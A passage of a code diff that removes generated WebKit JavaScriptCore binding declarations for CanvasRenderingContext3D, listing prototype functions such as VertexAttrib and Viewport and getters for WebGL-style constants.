-JSC::JSValue JSC_HOST_CALL jsCanvasRenderingContext3DPrototypeFunctionValidateProgram(JSC::ExecState*, JSC::JSObject*, JSC::JSValue, const JSC::ArgList&);
-JSC::JSValue JSC_HOST_CALL jsCanvasRenderingContext3DPrototypeFunctionVertexAttrib1f(JSC::ExecState*, JSC::JSObject*, JSC::JSValue, const JSC::ArgList&);
-JSC::JSValue JSC_HOST_CALL jsCanvasRenderingContext3DPrototypeFunctionVertexAttrib1fv(JSC::ExecState*, JSC::JSObject*, JSC::JSValue, const JSC::ArgList&);
-JSC::JSValue JSC_HOST_CALL jsCanvasRenderingContext3DPrototypeFunctionVertexAttrib2f(JSC::ExecState*, JSC::JSObject*, JSC::JSValue, const JSC::ArgList&);
-JSC::JSValue JSC_HOST_CALL jsCanvasRenderingContext3DPrototypeFunctionVertexAttrib2fv(JSC::ExecState*, JSC::JSObject*, JSC::JSValue, const JSC::ArgList&);
-JSC::JSValue JSC_HOST_CALL jsCanvasRenderingContext3DPrototypeFunctionVertexAttrib3f(JSC::ExecState*, JSC::JSObject*, JSC::JSValue, const JSC::ArgList&);
-JSC::JSValue JSC_HOST_CALL jsCanvasRenderingContext3DPrototypeFunctionVertexAttrib3fv(JSC::ExecState*, JSC::JSObject*, JSC::JSValue, const JSC::ArgList&);
-JSC::JSValue JSC_HOST_CALL jsCanvasRenderingContext3DPrototypeFunctionVertexAttrib4f(JSC::ExecState*, JSC::JSObject*, JSC::JSValue, const JSC::ArgList&);
-JSC::JSValue JSC_HOST_CALL jsCanvasRenderingContext3DPrototypeFunctionVertexAttrib4fv(JSC::ExecState*, JSC::JSObject*, JSC::JSValue, const JSC::ArgList&);
-JSC::JSValue JSC_HOST_CALL jsCanvasRenderingContext3DPrototypeFunctionVertexAttribPointer(JSC::ExecState*, JSC::JSObject*, JSC::JSValue, const JSC::ArgList&);
-JSC::JSValue JSC_HOST_CALL jsCanvasRenderingContext3DPrototypeFunctionViewport(JSC::ExecState*, JSC::JSObject*, JSC::JSValue, const JSC::ArgList&);
-// Attributes
-
-JSC::JSValue jsCanvasRenderingContext3DConstructor(JSC::ExecState*, const JSC::Identifier&, const JSC::PropertySlot&);
-// Constants
-
-JSC::JSValue jsCanvasRenderingContext3DDEPTH_BUFFER_BIT(JSC::ExecState*, const JSC::Identifier&, const JSC::PropertySlot&);
-JSC::JSValue jsCanvasRenderingContext3DSTENCIL_BUFFER_BIT(JSC::ExecState*, const JSC::Identifier&, const JSC::PropertySlot&);
-JSC::JSValue jsCanvasRenderingContext3DCOLOR_BUFFER_BIT(JSC::ExecState*, const JSC::Identifier&, const JSC::PropertySlot&);
-JSC::JSValue jsCanvasRenderingContext3DFALSE(JSC::ExecState*, const JSC::Identifier&, const JSC::PropertySlot&);
-JSC::JSValue jsCanvasRenderingContext3DTRUE(JSC::ExecState*, const JSC::Identifier&, const JSC::PropertySlot&);
-JSC::JSValue jsCanvasRenderingContext3DPOINTS(JSC::ExecState*, const JSC::Identifier&, const JSC::PropertySlot&);
-JSC::JSValue jsCanvasRenderingContext3DLINES(JSC::ExecState*, const JSC::Identifier&, const JSC::PropertySlot&);
-JSC::JSValue jsCanvasRenderingContext3DLINE_LOOP(JSC::ExecState*, const JSC::Identifier&, const JSC::PropertySlot&);
-JSC::JSValue jsCanvasRenderingContext3DLINE_STRIP(JSC::ExecState*, const JSC::Identifier&, const JSC::PropertySlot&);
-JSC::JSValue jsCanvasRenderingContext3DTRIANGLES(JSC::ExecState*, const JSC::Identifier&, const JSC::PropertySlot&);
-JSC::JSValue jsCanvasRenderingContext3DTRIANGLE_STRIP(JSC::ExecState*, const JSC::Identifier&, const JSC::PropertySlot&);
-JSC::JSValue jsCanvasRenderingContext3DTRIANGLE_FAN(JSC::ExecState*, const JSC::Identifier&, const JSC::PropertySlot&);
-JSC::JSValue jsCanvasRenderingContext3DZERO(JSC::ExecState*, const JSC::Identifier&, const JSC::PropertySlot&);
-JSC::JSValue jsCanvasRenderingContext3DONE(JSC::ExecState*, const JSC::Identifier&, const JSC::PropertySlot&);
-JSC::JSValue jsCanvasRenderingContext3DSRC_COLOR(JSC::ExecState*, const JSC::Identifier&, const JSC::PropertySlot&);
-JSC::JSValue jsCanvasRenderingContext3DONE_MINUS_SRC_COLOR(JSC::ExecState*, const JSC::Identifier&, const JSC::PropertySlot&);
-JSC::JSValue jsCanvasRenderingContext3DSRC_ALPHA(JSC::ExecState*, const JSC::Identifier&, const JSC::PropertySlot&);
-JSC::JSValue jsCanvasRenderingContext3DONE_MINUS_SRC_ALPHA(JSC::ExecState*, const JSC::Identifier&, const JSC::PropertySlot&);
-JSC::JSValue jsCanvasRenderingContext3DDST_ALPHA(JSC::ExecState*, const JSC::Identifier&, const JSC::PropertySlot&);
-JSC::JSValue jsCanvasRenderingContext3DONE_MINUS_DST_ALPHA(JSC::ExecState*, const JSC::Identifier&, const JSC::PropertySlot&);
-JSC::JSValue jsCanvasRenderingContext3DDST_COLOR(JSC::ExecState*, const JSC::Identifier&, const JSC::PropertySlot&);
-JSC::JSValue jsCanvasRenderingContext3DONE_MINUS_DST_COLOR(JSC::ExecState*, const JSC::Identifier&, const JSC::PropertySlot&);
-JSC::JSValue jsCanvasRenderingContext3DSRC_ALPHA_SATURATE(JSC::ExecState*, const JSC::Identifier&, const JSC::PropertySlot&);
-JSC::JSValue jsCanvasRenderingContext3DFUNC_ADD(JSC::ExecState*, const JSC::Identifier&, const JSC::PropertySlot&);
-JSC::JSValue jsCanvasRenderingContext3DBLEND_EQUATION(JSC::ExecState*, const JSC::Identifier&, const JSC::PropertySlot&);
-JSC::JSValue jsCanvasRenderingContext3DBLEND_EQUATION_RGB(JSC::ExecState*, const JSC::Identifier&, const JSC::PropertySlot&);
-JSC::JSValue jsCanvasRenderingContext3DBLEND_EQUATION_ALPHA(JSC::ExecState*, const JSC::Identifier&, const JSC::PropertySlot&);
-JSC::JSValue jsCanvasRenderingContext3DFUNC_SUBTRACT(JSC::ExecState*, const JSC::Identifier&, const JSC::PropertySlot&);
-JSC::JSValue jsCanvasRenderingContext3DFUNC_REVERSE_SUBTRACT(JSC::ExecState*, const JSC::Identifier&, const JSC::PropertySlot&);
-JSC::JSValue jsCanvasRenderingContext3DBLEND_DST_RGB(JSC::ExecState*, const JSC::Identifier&, const JSC::PropertySlot&);
-JSC::JSValue jsCanvasRenderingContext3DBLEND_SRC_RGB(JSC::ExecState*, const JSC::Identifier&, const JSC::PropertySlot&);
-JSC::JSValue jsCanvasRenderingContext3DBLEND_DST_ALPHA(JSC::ExecState*, const JSC::Identifier&, const JSC::PropertySlot&);
-JSC::JSValue jsCanvasRenderingContext3DBLEND_SRC_ALPHA(JSC::ExecState*, const JSC::Identifier&, const JSC::PropertySlot&);
-JSC::JSValue jsCanvasRenderingContext3DCONSTANT_COLOR(JSC::ExecState*, const JSC::Identifier&, const JSC::PropertySlot&);
-JSC::JSValue jsCanvasRenderingContext3DONE_MINUS_CONSTANT_COLOR(JSC::ExecState*, const JSC::Identifier&, const JSC::PropertySlot&);
-JSC::JSValue jsCanvasRenderingContext3DCONSTANT_ALPHA(JSC::ExecState*, const JSC::Identifier&, const JSC::PropertySlot&);
-JSC::JSValue jsCanvasRenderingContext3DONE_MINUS_CONSTANT_ALPHA(JSC::ExecState*, const JSC::Identifier&, const JSC::PropertySlot&);
-JSC::JSValue jsCanvasRenderingContext3DBLEND_COLOR(JSC::ExecState*, const JSC::Identifier&, const JSC::PropertySlot&);
-JSC::JSValue jsCanvasRenderingContext3DARRAY_BUFFER(JSC::ExecState*, const JSC::Identifier&, const JSC::PropertySlot&);
-JSC::JSValue jsCanvasRenderingContext3DELEMENT_ARRAY_BUFFER(JSC::ExecState*, const JSC::Identifier&, const JSC::PropertySlot&);
-JSC::JSValue jsCanvasRenderingContext3DARRAY_BUFFER_BINDING(JSC::ExecState*, const JSC::Identifier&, const JSC::PropertySlot&);
-JSC::JSValue jsCanvasRenderingContext3DELEMENT_ARRAY_BUFFER_BINDING(JSC::ExecState*, const JSC::Identifier&, const JSC::PropertySlot&);
-JSC::JSValue jsCanvasRenderingContext3DSTREAM_DRAW(JSC::ExecState*, const JSC::Identifier&, const JSC::PropertySlot&);
-JSC::JSValue jsCanvasRenderingContext3DSTATIC_DRAW(JSC::ExecState*, const JSC::Identifier&, const JSC::PropertySlot&);
-JSC::JSValue jsCanvasRenderingContext3DDYNAMIC_DRAW(JSC::ExecState*, const JSC::Identifier&, const JSC::PropertySlot&);
-JSC::JSValue jsCanvasRenderingContext3DBUFFER_SIZE(JSC::ExecState*, const JSC::Identifier&, const JSC::PropertySlot&);
-JSC::JSValue jsCanvasRenderingContext3DBUFFER_USAGE(JSC::ExecState*, const JSC::Identifier&, const JSC::PropertySlot&);
-JSC::JSValue jsCanvasRenderingContext3DCURRENT_VERTEX_ATTRIB(JSC::ExecState*, const JSC::Identifier&, const JSC::PropertySlot&);
-JSC::JSValue jsCanvasRenderingContext3DFRONT(JSC::ExecState*, const JSC::Identifier&, const JSC::PropertySlot&);
-JSC::JSValue jsCanvasRenderingContext3DBACK(JSC::ExecState*, const JSC::Identifier&, const JSC::PropertySlot&);
-JSC::JSValue jsCanvasRenderingContext3DFRONT_AND_BACK(JSC::ExecState*, const JSC::Identifier&, const JSC::PropertySlot&);
-JSC::JSValue jsCanvasRenderingContext3DTEXTURE_2D(JSC::ExecState*, const JSC::Identifier&, const JSC::PropertySlot&);
-JSC::JSValue jsCanvasRenderingContext3DCULL_FACE(JSC::ExecState*, const JSC::Identifier&, const JSC::PropertySlot&);
-JSC::JSValue jsCanvasRenderingContext3DBLEND(JSC::ExecState*, const JSC::Identifier&, const JSC::PropertySlot&);
-JSC::JSValue jsCanvasRenderingContext3DDITHER(JSC::ExecState*, const JSC::Identifier&, const JSC::PropertySlot&);
-JSC::JSValue jsCanvasRenderingContext3DSTENCIL_TEST(JSC::ExecState*, const JSC::Identifier&, const JSC::PropertySlot&);
-JSC::JSValue jsCanvasRenderingContext3DDEPTH_TEST(JSC::ExecState*, const JSC::Identifier&, const JSC::PropertySlot&);
-JSC::JSValue jsCanvasRenderingContext3DSCISSOR_TEST(JSC::ExecState*, const JSC::Identifier&, const JSC::PropertySlot&);
-JSC::JSValue jsCanvasRenderingContext3DPOLYGON_OFFSET_FILL(JSC::ExecState*, const JSC::Identifier&, const JSC::PropertySlot&);
-JSC::JSValue jsCanvasRenderingContext3DSAMPLE_ALPHA_TO_COVERAGE(JSC::ExecState*, const JSC::Identifier&, const JSC::PropertySlot&);
-JSC::JSValue jsCanvasRenderingContext3DSAMPLE_COVERAGE(JSC::ExecState*, const JSC::Identifier&, const JSC::PropertySlot&);
-JSC::JSValue jsCanvasRenderingContext3DNO_ERROR(JSC::ExecState*, const JSC::Identifier&, const JSC::PropertySlot&);
-JSC::JSValue jsCanvasRenderingContext3DINVALID_ENUM(JSC::ExecState*, const JSC::Identifier&, const JSC::PropertySlot&);
-JSC::JSValue jsCanvasRenderingContext3DINVALID_VALUE(JSC::ExecState*, const JSC::Identifier&, const JSC::PropertySlot&);
-JSC::JSValue jsCanvasRenderingContext3DINVALID_OPERATION(JSC::ExecState*, const JSC::Identifier&, const JSC::PropertySlot&);
-JSC::JSValue jsCanvasRenderingContext3DOUT_OF_MEMORY(JSC::ExecState*, const JSC::Identifier&, const JSC::PropertySlot&);
-JSC::JSValue jsCanvasRenderingContext3DCW(JSC::ExecState*, const JSC::Identifier&, const JSC::PropertySlot&);
-JSC::JSValue jsCanvasRenderingContext3DCCW(JSC::ExecState*, const JSC::Identifier&, const JSC::PropertySlot&);
-JSC::JSValue jsCanvasRenderingContext3DLINE_WIDTH(JSC::ExecState*, const JSC::Identifier&, const JSC::PropertySlot&);
-JSC::JSValue jsCanvasRenderingContext3DALIASED_POINT_SIZE_RANGE(JSC::ExecState*, const JSC::Identifier&, const JSC::PropertySlot&);
-JSC::JSValue jsCanvasRenderingContext3DALIASED_LINE_WIDTH_RANGE(JSC::ExecState*, const JSC::Identifier&, const JSC::PropertySlot&);
-JSC::JSValue jsCanvasRenderingContext3DCULL_FACE_MODE(JSC::ExecState*, const JSC::Identifier&, const JSC::PropertySlot&);
-JSC::JSValue jsCanvasRenderingContext3DFRONT_FACE(JSC::ExecState*, const JSC::Identifier&, const JSC::PropertySlot&);
-JSC::JSValue jsCanvasRenderingContext3DDEPTH_RANGE(JSC::ExecState*, const JSC::Identifier&, const JSC::PropertySlot&);
-JSC::JSValue jsCanvasRenderingContext3DDEPTH_WRITEMASK(JSC::ExecState*, const JSC::Identifier&, const JSC::PropertySlot&);
-JSC::JSValue jsCanvasRenderingContext3DDEPTH_CLEAR_VALUE(JSC::ExecState*, const JSC::Identifier&, const JSC::PropertySlot&);
-JSC::JSValue jsCanvasRenderingContext3DDEPTH_FUNC(JSC::ExecState*, const JSC::Identifier&, const JSC::PropertySlot&);
-JSC::JSValue jsCanvasRenderingContext3DSTENCIL_CLEAR_VALUE(JSC::ExecState*, const JSC::Identifier&, const JSC::PropertySlot&);
-JSC::JSValue jsCanvasRenderingContext3DSTENCIL_FUNC(JSC::ExecState*, const JSC::Identifier&, const JSC::PropertySlot&);
-JSC::JSValue jsCanvasRenderingContext3DSTENCIL_FAIL(JSC::ExecState*, const JSC::Identifier&, const JSC::PropertySlot&);
-JSC::JSValue jsCanvasRenderingContext3DSTENCIL_PASS_DEPTH_FAIL(JSC::ExecState*, const JSC::Identifier&, const JSC::PropertySlot&);
-JSC::JSValue jsCanvasRenderingContext3DSTENCIL_PASS_DEPTH_PASS(JSC::ExecState*, const JSC::Identifier&, const JSC::PropertySlot&);
-JSC::JSValue jsCanvasRenderingContext3DSTENCIL_REF(JSC::ExecState*, const JSC::Identifier&, const JSC::PropertySlot&);
-JSC::JSValue jsCanvasRenderingContext3DSTENCIL_VALUE_MASK(JSC::ExecState*, const JSC::Identifier&, const JSC::PropertySlot&);
-JSC::JSValue jsCanvasRenderingContext3DSTENCIL_WRITEMASK(JSC::ExecState*, const JSC::Identifier&, const JSC::PropertySlot&);
-JSC::JSValue jsCanvasRenderingContext3DSTENCIL_BACK_FUNC(JSC::ExecState*, const JSC::Identifier&, const JSC::PropertySlot&);
-JSC::JSValue jsCanvasRenderingContext3DSTENCIL_BACK_FAIL(JSC::ExecState*, const JSC::Identifier&, const JSC::PropertySlot&);
-JSC::JSValue jsCanvasRenderingContext3DSTENCIL_BACK_PASS_DEPTH_FAIL(JSC::ExecState*, const JSC::Identifier&, const JSC::PropertySlot&);
-JSC::JSValue jsCanvasRenderingContext3DSTENCIL_BACK_PASS_DEPTH_PASS(JSC::ExecState*, const JSC::Identifier&, const JSC::PropertySlot&);
-JSC::JSValue jsCanvasRenderingContext3DSTENCIL_BACK_REF(JSC::ExecState*, const JSC::Identifier&, const JSC::PropertySlot&);
-JSC::JSValue jsCanvasRenderingContext3DSTENCIL_BACK_VALUE_MASK(JSC::ExecState*, const JSC::Identifier&, const JSC::PropertySlot&);
-JSC::JSValue jsCanvasRenderingContext3DSTENCIL_BACK_WRITEMASK(JSC::ExecState*, const JSC::Identifier&, const JSC::PropertySlot&);
-JSC::JSValue jsCanvasRenderingContext3DVIEWPORT(JSC::ExecState*, const JSC::Identifier&, const JSC::PropertySlot&);
-JSC::JSValue jsCanvasRenderingContext3DSCISSOR_BOX(JSC::ExecState*, const JSC::Identifier&, const JSC::PropertySlot&);
-JSC::JSValue jsCanvasRenderingContext3DCOLOR_CLEAR_VALUE(JSC::ExecState*, const JSC::Identifier&, const JSC::PropertySlot&);
-JSC::JSValue jsCanvasRenderingContext3DCOLOR_WRITEMASK(JSC::ExecState*, const JSC::Identifier&, const JSC::PropertySlot&);
-JSC::JSValue jsCanvasRenderingContext3DUNPACK_ALIGNMENT(JSC::ExecState*, const JSC::Identifier&, const JSC::PropertySlot&);
-JSC::JSValue jsCanvasRenderingContext3DPACK_ALIGNMENT(JSC::ExecState*, const JSC::Identifier&, const JSC::PropertySlot&);
-JSC::JSValue jsCanvasRenderingContext3DMAX_TEXTURE_SIZE(JSC::ExecState*, const JSC::Identifier&, const JSC::PropertySlot&);
-JSC::JSValue jsCanvasRenderingContext3DMAX_VIEWPORT_DIMS(JSC::ExecState*, const JSC::Identifier&, const JSC::PropertySlot&);
-JSC::JSValue jsCanvasRenderingContext3DSUBPIXEL_BITS(JSC::ExecState*, const JSC::Identifier&, const JSC::PropertySlot&);
-JSC::JSValue jsCanvasRenderingContext3DRED_BITS(JSC::ExecState*, const JSC::Identifier&, const JSC::PropertySlot&);
-JSC::JSValue jsCanvasRenderingContext3DGREEN_BITS(JSC::ExecState*, const JSC::Identifier&, const JSC::PropertySlot&);
-JSC::JSValue jsCanvasRenderingContext3DBLUE_BITS(JSC::ExecState*, const JSC::Identifier&, const JSC::PropertySlot&);
-JSC::JSValue jsCanvasRenderingContext3DALPHA_BITS(JSC::ExecState*, const JSC::Identifier&, const JSC::PropertySlot&);
-JSC::JSValue jsCanvasRenderingContext3DDEPTH_BITS(JSC::ExecState*, const JSC::Identifier&, const JSC::PropertySlot&);
-JSC::JSValue jsCanvasRenderingContext3DSTENCIL_BITS(JSC::ExecState*, const JSC::Identifier&, const JSC::PropertySlot&);
-JSC::JSValue jsCanvasRenderingContext3DPOLYGON_OFFSET_UNITS(JSC::ExecState*, const JSC::Identifier&, const JSC::PropertySlot&);
-JSC::JSValue jsCanvasRenderingContext3DPOLYGON_OFFSET_FACTOR(JSC::ExecState*, const JSC::Identifier&, const JSC::PropertySlot&);
-JSC::JSValue jsCanvasRenderingContext3DTEXTURE_BINDING_2D(JSC::ExecState*, const JSC::Identifier&, const JSC::PropertySlot&);
-JSC::JSValue jsCanvasRenderingContext3DSAMPLE_BUFFERS(JSC::ExecState*, const JSC::Identifier&, const JSC::PropertySlot&);
-JSC::JSValue jsCanvasRenderingContext3DSAMPLES(JSC::ExecState*, const JSC::Identifier&, const JSC::PropertySlot&);
-JSC::JSValue jsCanvasRenderingContext3DSAMPLE_COVERAGE_VALUE(JSC::ExecState*, const JSC::Identifier&, const JSC::PropertySlot&);
-JSC::JSValue jsCanvasRenderingContext3DSAMPLE_COVERAGE_INVERT(JSC::ExecState*, const JSC::Identifier&, const JSC::PropertySlot&);
-JSC::JSValue jsCanvasRenderingContext3DNUM_COMPRESSED_TEXTURE_FORMATS(JSC::ExecState*, const JSC::Identifier&, const JSC::PropertySlot&);
-JSC::JSValue jsCanvasRenderingContext3DCOMPRESSED_TEXTURE_FORMATS(JSC::ExecState*, const JSC::Identifier&, const JSC::PropertySlot&);
-JSC::JSValue jsCanvasRenderingContext3DDONT_CARE(JSC::ExecState*, const JSC::Identifier&, const JSC::PropertySlot&);
-JSC::JSValue jsCanvasRenderingContext3DFASTEST(JSC::ExecState*, const JSC::Identifier&, const JSC::PropertySlot&);
-JSC::JSValue jsCanvasRenderingContext3DNICEST(JSC::ExecState*, const JSC::Identifier&, const JSC::PropertySlot&);
-JSC::JSValue jsCanvasRenderingContext3DGENERATE_MIPMAP_HINT(JSC::ExecState*, const JSC::Identifier&, const JSC::PropertySlot&);
-JSC::JSValue jsCanvasRenderingContext3DBYTE(JSC::ExecState*, const JSC::Identifier&, const JSC::PropertySlot&);
-JSC::JSValue jsCanvasRenderingContext3DUNSIGNED_BYTE(JSC::ExecState*, const JSC::Identifier&, const JSC::PropertySlot&);
-JSC::JSValue jsCanvasRenderingContext3DSHORT(JSC::ExecState*, const JSC::Identifier&, const JSC::PropertySlot&);
-JSC::JSValue jsCanvasRenderingContext3DUNSIGNED_SHORT(JSC::ExecState*, const JSC::Identifier&, const JSC::PropertySlot&);
-JSC::JSValue jsCanvasRenderingContext3DINT(JSC::ExecState*, const JSC::Identifier&, const JSC::PropertySlot&);
-JSC::JSValue jsCanvasRenderingContext3DUNSIGNED_INT(JSC::ExecState*, const JSC::Identifier&, const JSC::PropertySlot&);
-JSC::JSValue jsCanvasRenderingContext3DFLOAT(JSC::ExecState*, const JSC::Identifier&, const JSC::PropertySlot&);
-JSC::JSValue jsCanvasRenderingContext3DFIXED(JSC::ExecState*, const JSC::Identifier&, const JSC::PropertySlot&);
-JSC::JSValue jsCanvasRenderingContext3DDEPTH_COMPONENT(JSC::ExecState*, const JSC::Identifier&, const JSC::PropertySlot&);
-JSC::JSValue jsCanvasRenderingContext3DALPHA(JSC::ExecState*, const JSC::Identifier&, const JSC::PropertySlot&);
-JSC::JSValue jsCanvasRenderingContext3DRGB(JSC::ExecState*, const JSC::Identifier&, const JSC::PropertySlot&);
-JSC::JSValue jsCanvasRenderingContext3DRGBA(JSC::ExecState*, const JSC::Identifier&, const JSC::PropertySlot&);
-JSC::JSValue jsCanvasRenderingContext3DLUMINANCE(JSC::ExecState*, const JSC::Identifier&, const JSC::PropertySlot&);
-JSC::JSValue jsCanvasRenderingContext3DLUMINANCE_ALPHA(JSC::ExecState*, const JSC::Identifier&, const JSC::PropertySlot&);
-JSC::JSValue jsCanvasRenderingContext3DUNSIGNED_SHORT_4_4_4_4(JSC::ExecState*, const JSC::Identifier&, const JSC::PropertySlot&);
-JSC::JSValue jsCanvasRenderingContext3DUNSIGNED_SHORT_5_5_5_1(JSC::ExecState*, const JSC::Identifier&, const JSC::PropertySlot&);
-JSC::JSValue jsCanvasRenderingContext3DUNSIGNED_SHORT_5_6_5(JSC::ExecState*, const JSC::Identifier&, const JSC::PropertySlot&);
-JSC::JSValue jsCanvasRenderingContext3DFRAGMENT_SHADER(JSC::ExecState*, const JSC::Identifier&, const JSC::PropertySlot&);
-JSC::JSValue jsCanvasRenderingContext3DVERTEX_SHADER(JSC::ExecState*, const JSC::Identifier&, const JSC::PropertySlot&);
-JSC::JSValue jsCanvasRenderingContext3DMAX_VERTEX_ATTRIBS(JSC::ExecState*, const JSC::Identifier&, const JSC::PropertySlot&);
-JSC::JSValue jsCanvasRenderingContext3DMAX_VERTEX_UNIFORM_VECTORS(JSC::ExecState*, const JSC::Identifier&, const JSC::PropertySlot&);
-JSC::JSValue jsCanvasRenderingContext3DMAX_VARYING_VECTORS(JSC::ExecState*, const JSC::Identifier&, const JSC::PropertySlot&);
-JSC::JSValue jsCanvasRenderingContext3DMAX_COMBINED_TEXTURE_IMAGE_UNITS(JSC::ExecState*, const JSC::Identifier&, const JSC::PropertySlot&);
-JSC::JSValue jsCanvasRenderingContext3DMAX_VERTEX_TEXTURE_IMAGE_UNITS(JSC::ExecState*, const JSC::Identifier&, const JSC::PropertySlot&);
-JSC::JSValue jsCanvasRenderingContext3DMAX_TEXTURE_IMAGE_UNITS(JSC::ExecState*, const JSC::Identifier&, const JSC::PropertySlot&);
-JSC::JSValue jsCanvasRenderingContext3DMAX_FRAGMENT_UNIFORM_VECTORS(JSC::ExecState*, const JSC::Identifier&, const JSC::PropertySlot&);
-JSC::JSValue jsCanvasRenderingContext3DSHADER_TYPE(JSC::ExecState*, const JSC::Identifier&, const JSC::PropertySlot&);
-JSC::JSValue jsCanvasRenderingContext3DDELETE_STATUS(JSC::ExecState*, const JSC::Identifier&, const JSC::PropertySlot&);
-JSC::JSValue jsCanvasRenderingContext3DLINK_STATUS(JSC::ExecState*, const JSC::Identifier&, const JSC::PropertySlot&);
-JSC::JSValue jsCanvasRenderingContext3DVALIDATE_STATUS(JSC::ExecState*, const JSC::Identifier&, const JSC::PropertySlot&);
-JSC::JSValue jsCanvasRenderingContext3DATTACHED_SHADERS(JSC::ExecState*, const JSC::Identifier&, const JSC::PropertySlot&);
-JSC::JSValue jsCanvasRenderingContext3DACTIVE_UNIFORMS(JSC::ExecState*, const JSC::Identifier&, const JSC::PropertySlot&);
-JSC::JSValue jsCanvasRenderingContext3DACTIVE_UNIFORM_MAX_LENGTH(JSC::ExecState*, const JSC::Identifier&, const JSC::PropertySlot&);
-JSC::JSValue jsCanvasRenderingContext3DACTIVE_ATTRIBUTES(JSC::ExecState*, const JSC::Identifier&, const JSC::PropertySlot&);
-JSC::JSValue jsCanvasRenderingContext3DACTIVE_ATTRIBUTE_MAX_LENGTH(JSC::ExecState*, const JSC::Identifier&, const JSC::PropertySlot&);
-JSC::JSValue jsCanvasRenderingContext3DSHADING_LANGUAGE_VERSION(JSC::ExecState*, const JSC::Identifier&, const JSC::PropertySlot&);
-JSC::JSValue jsCanvasRenderingContext3DCURRENT_PROGRAM(JSC::ExecState*, const JSC::Identifier&, const JSC::PropertySlot&);
-JSC::JSValue jsCanvasRenderingContext3DNEVER(JSC::ExecState*, const JSC::Identifier&, const JSC::PropertySlot&);
-JSC::JSValue jsCanvasRenderingContext3DLESS(JSC::ExecState*, const JSC::Identifier&, const JSC::PropertySlot&);
-JSC::JSValue jsCanvasRenderingContext3DEQUAL(JSC::ExecState*, const JSC::Identifier&, const JSC::PropertySlot&);
-JSC::JSValue jsCanvasRenderingContext3DLEQUAL(JSC::ExecState*, const JSC::Identifier&, const JSC::PropertySlot&);
-JSC::JSValue jsCanvasRenderingContext3DGREATER(JSC::ExecState*, const JSC::Identifier&, const JSC::PropertySlot&);
-JSC::JSValue jsCanvasRenderingContext3DNOTEQUAL(JSC::ExecState*, const JSC::Identifier&, const JSC::PropertySlot&);
-JSC::JSValue jsCanvasRenderingContext3DGEQUAL(JSC::ExecState*, const JSC::Identifier&, const JSC::PropertySlot&);
-JSC::JSValue jsCanvasRenderingContext3DALWAYS(JSC::ExecState*, const JSC::Identifier&, const JSC::PropertySlot&);
-JSC::JSValue jsCanvasRenderingContext3DKEEP(JSC::ExecState*, const JSC::Identifier&, const JSC::PropertySlot&);
-JSC::JSValue jsCanvasRenderingContext3DREPLACE(JSC::ExecState*, const JSC::Identifier&, const JSC::PropertySlot&);
-JSC::JSValue jsCanvasRenderingContext3DINCR(JSC::ExecState*, const JSC::Identifier&, const JSC::PropertySlot&);
-JSC::JSValue jsCanvasRenderingContext3DDECR(JSC::ExecState*, const JSC::Identifier&, const JSC::PropertySlot&);
-JSC::JSValue jsCanvasRenderingContext3DINVERT(JSC::ExecState*, const JSC::Identifier&, const JSC::PropertySlot&);
-JSC::JSValue jsCanvasRenderingContext3DINCR_WRAP(JSC::ExecState*, const JSC::Identifier&, const JSC::PropertySlot&);
-JSC::JSValue jsCanvasRenderingContext3DDECR_WRAP(JSC::ExecState*, const JSC::Identifier&, const JSC::PropertySlot&);
-JSC::JSValue jsCanvasRenderingContext3DVENDOR(JSC::ExecState*, const JSC::Identifier&, const JSC::PropertySlot&);
-JSC::JSValue jsCanvasRenderingContext3DRENDERER(JSC::ExecState*, const JSC::Identifier&, const JSC::PropertySlot&);
-JSC::JSValue jsCanvasRenderingContext3DVERSION(JSC::ExecState*, const JSC::Identifier&, const JSC::PropertySlot&);
-JSC::JSValue jsCanvasRenderingContext3DEXTENSIONS(JSC::ExecState*, const JSC::Identifier&, const JSC::PropertySlot&);
-JSC::JSValue jsCanvasRenderingContext3DNEAREST(JSC::ExecState*, const JSC::Identifier&, const JSC::PropertySlot&);
-JSC::JSValue jsCanvasRenderingContext3DLINEAR(JSC::ExecState*, const JSC::Identifier&, const JSC::PropertySlot&);
-JSC::JSValue jsCanvasRenderingContext3DNEAREST_MIPMAP_NEAREST(JSC::ExecState*, const JSC::Identifier&, const JSC::PropertySlot&);
-JSC::JSValue jsCanvasRenderingContext3DLINEAR_MIPMAP_NEAREST(JSC::ExecState*, const JSC::Identifier&, const JSC::PropertySlot&);
-JSC::JSValue jsCanvasRenderingContext3DNEAREST_MIPMAP_LINEAR(JSC::ExecState*, const JSC::Identifier&, const JSC::PropertySlot&);
-JSC::JSValue jsCanvasRenderingContext3DLINEAR_MIPMAP_LINEAR(JSC::ExecState*, const JSC::Identifier&, const JSC::PropertySlot&);
-JSC::JSValue jsCanvasRenderingContext3DTEXTURE_MAG_FILTER(JSC::ExecState*, const JSC::Identifier&, const JSC::PropertySlot&);
-JSC::JSValue jsCanvasRenderingContext3DTEXTURE_MIN_FILTER(JSC::ExecState*, const JSC::Identifier&, const JSC::PropertySlot&);
-JSC::JSValue jsCanvasRenderingContext3DTEXTURE_WRAP_S(JSC::ExecState*, const JSC::Identifier&, const JSC::PropertySlot&);
-JSC::JSValue jsCanvasRenderingContext3DTEXTURE_WRAP_T(JSC::ExecState*, const JSC::Identifier&, const JSC::PropertySlot&);
-JSC::JSValue jsCanvasRenderingContext3DTEXTURE(JSC::ExecState*, const JSC::Identifier&, const JSC::PropertySlot&);
-JSC::JSValue jsCanvasRenderingContext3DTEXTURE_CUBE_MAP(JSC::ExecState*, const JSC::Identifier&, const JSC::PropertySlot&);
-JSC::JSValue jsCanvasRenderingContext3DTEXTURE_BINDING_CUBE_MAP(JSC::ExecState*, const JSC::Identifier&, const JSC::PropertySlot&);
-JSC::JSValue jsCanvasRenderingContext3DTEXTURE_CUBE_MAP_POSITIVE_X(JSC::ExecState*, const JSC::Identifier&, const JSC::PropertySlot&);
-JSC::JSValue jsCanvasRenderingContext3DTEXTURE_CUBE_MAP_NEGATIVE_X(JSC::ExecState*, const JSC::Identifier&, const JSC::PropertySlot&);
-JSC::JSValue jsCanvasRenderingContext3DTEXTURE_CUBE_MAP_POSITIVE_Y(JSC::ExecState*, const JSC::Identifier&, const JSC::PropertySlot&);
-JSC::JSValue jsCanvasRenderingContext3DTEXTURE_CUBE_MAP_NEGATIVE_Y(JSC::ExecState*, const JSC::Identifier&, const JSC::PropertySlot&);
-JSC::JSValue jsCanvasRenderingContext3DTEXTURE_CUBE_MAP_POSITIVE_Z(JSC::ExecState*, const JSC::Identifier&, const JSC::PropertySlot&);
-JSC::JSValue jsCanvasRenderingContext3DTEXTURE_CUBE_MAP_NEGATIVE_Z(JSC::ExecState*, const JSC::Identifier&, const JSC::PropertySlot&);
